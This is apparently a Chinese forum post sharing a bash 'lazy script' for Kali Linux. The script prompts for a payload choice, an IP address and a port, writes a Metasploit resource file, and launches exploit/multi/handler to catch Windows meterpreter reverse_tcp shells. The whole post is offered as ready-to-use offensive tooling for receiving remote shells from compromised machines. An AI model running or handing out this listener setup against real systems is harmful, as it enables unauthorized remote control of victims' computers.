在kali下经常使用msfconsole启动,每次都要生成payload,输入ip,端口号,难免比较麻烦,我们可以考虑使用脚本自动执行命令。
下面可以enjoy,先贴上源代码,可自行研究。
#! /bin/bash
echo -e "meterpreter懒人脚本"
echo -e " 请输入数字选项: 1==>windows/meterpreter/reverse_tcp 2==>windows/x64/meterpreter_reverse_tcp \c"
read pl
echo -e "请输入你的ip: \c "
read ip
echo -e "请输入要监听的端口: \c "
read port
case $pl in
1)
payload='windows/meterpreter/reverse_tcp'
;;
2)
payload='windows/x64/meterpreter_reverse_tcp'
;;
esac
echo "正在启动msfconsole,请稍后....."
echo "use exploit/multi/handler" >> yum.rc
echo "set PAYLOAD $payload" >> yum.rc
echo "set LHOST $ip " >> yum.rc
echo "set LPORT $port " >> yum.rc
echo "run" >> yum.rc
echo "runing....."
msfconsole -r yum.rc
rm yum.rc
没有回复内容